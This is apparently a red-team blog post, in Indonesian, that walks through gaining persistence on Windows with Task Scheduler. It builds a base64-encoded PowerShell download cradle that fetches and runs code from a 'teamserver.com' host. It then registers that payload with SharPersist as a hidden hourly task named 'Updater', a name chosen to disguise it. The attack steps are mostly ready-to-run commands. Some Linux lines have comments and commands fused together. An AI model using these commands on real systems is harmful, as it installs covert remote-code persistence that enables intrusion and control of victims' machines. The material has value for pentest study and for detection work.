Post

Persistence via Task Scheduler

Task Scheduler di Windows memungkinkan kita untuk membuat “task” yang dieksekusi berdasarkan pemicu (trigger) yang telah ditentukan sebelumnya.

Pemicu tersebut dapat berupa waktu pada suatu hari, saat pengguna masuk ke sistem (user-logon), ketika komputer sedang idle (tidak digunakan), ketika komputer terkunci (locked), atau kombinasi dari beberapa pemicu tersebut.

0x1 - Exploitation Stages

Step 1: Creating a PowerShell Payload

Di PowerShell:

1
2
3
4
5
# Menyimpan payload pada variable
PS C:\> $str = 'IEX ((new-object net.webclient).downloadstring("http://teamserver.com/a"))'

# Konversi payload ke base64
PS C:\> [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))

Di Linux:

1
2
3
4
5
# Menyimpan payload pada variableset str 'IEX ((new-object net.webclient).downloadstring("http://teamserver.com/a"))'

# Konversi payload ke base64echo -en $str | iconv -t UTF-16LE | base64 -w 0

Step 2: Add Malicious Task to Task Scheduler

1
PS > .\SharPersist.exe -t schtask -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc <base64_payload>" -n "Updater" -m add -o hourly

Keterangan:

  • -t: Teknik persistence yang diinginkan.
  • -c: Perintah yang akan dieksekusi.
  • -a: Argumen dari perintahnya.
  • -n: Nama dari task.
  • -m: Menambahkan task (bisa juga untuk remove, check dan list).
  • -o: Frekuensi task dijalankan.

Task Scheduler Task Scheduler


0x2 - References

  • https://github.com/mandiant/SharPersist
  • https://pentestlab.blog/2019/11/04/persistence-scheduled-tasks/
This post is licensed under CC BY 4.0 by the author.